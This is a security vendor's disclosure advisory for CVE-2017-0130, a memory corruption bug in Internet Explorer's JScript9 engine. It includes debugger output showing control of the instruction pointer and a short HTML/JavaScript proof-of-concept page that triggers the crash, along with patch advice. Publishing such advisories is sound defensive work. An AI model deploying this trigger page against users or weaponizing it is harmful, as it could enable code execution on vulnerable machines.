security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer ‘ToPrimitive’ Memory Corruption Vulnerability
CVE	CVE-2017-0130
Vendor Website	http://www.microsoft.com/
Date Released	03/04/2017
Affected Software	Microsoft Internet Explorer 11 Microsoft Internet Explorer 10 Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Internet Explorer JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

(a9c.d4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=024d6f90 ecx=024d6f90 edx=016bbb70 esi=a0ffffff edi=0274b7c8

eip=a0ffffff esp=0274b7b8 ebp=0274b7e4 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

a0ffffff ?? ???

1:018> k

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong.

0274b7b4 67ec5d54 0xa0ffffff

0274b7e4 67e3befa jscript9!Js::JavascriptConversion::ToPrimitive+0x97

0274bb38 67da6965 jscript9!Js::JavascriptConversion::ToString+0x1a8

0274bb88 67f717f7 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

0274bbac 67ecfe8a jscript9!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutCallI_OneByte> >+0x4c

0274bbd8 67ecfe63 jscript9!Js::InterpreterStackFrame::OP_ProfileReturnTypeCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutCallI_OneByte> >+0x1c

0274bbf8 67ecfe2b jscript9!Js::InterpreterStackFrame::OP_ProfiledReturnTypeCallI<Js::OpLayoutCallI_OneByte>+0x2b

0274be9c 67e2eb68 jscript9!Js::InterpreterStackFrame::Process+0x6a26

0274bed4 67e2ebc7 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49

0274c178 67dad899 jscript9!Js::InterpreterStackFrame::Process+0x49a8

0274c2e4 01d70fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

0274c2f0 67da6965 0x1d70fe9

0274c334 67da6f68 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

0274c3a8 67da6e9d jscript9!Js::JavascriptFunction::CallRootFunction+0xb5

0274c3f0 67da6e30 jscript9!ScriptSite::CallRootFunction+0x42

0274c43c 67e9ef78 jscript9!ScriptSite::Execute+0xd2

0274c4c4 67e9e14d jscript9!ScriptEngine::ExecutePendingScripts+0x1c6

0274c558 67e9f70a jscript9!ScriptEngine::ParseScriptTextCore+0x300

0274c5a8 667041be jscript9!ScriptEngine::ParseScriptText+0x5a

0274c5e0 66464795 MSHTML!CActiveScriptHolder::ParseScriptText+0x51

0274c638 66703cdc MSHTML!CJScript9Holder::ParseScriptText+0x5f

0274c6a8 6646540d MSHTML!CScriptCollection::ParseScriptText+0x175

0274c794 66464fa1 MSHTML!CScriptData::CommitCode+0x31e

0274c814 66465b1d MSHTML!CScriptData::Execute+0x232

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<head>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT" />
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5" />
</head>
<body>
<script>
Object.defineProperty(this, "a0", {get:function(){return arguments.callee.caller.arguments}})
function eval(){Array.prototype.join.call(a0, 0xffffffff)}
for(i =0;i<5000;++i){this.eval(0xffffffff)}
while(eval(0xffffffff))function f(){}
</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch in the April 2017 Security Updates to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com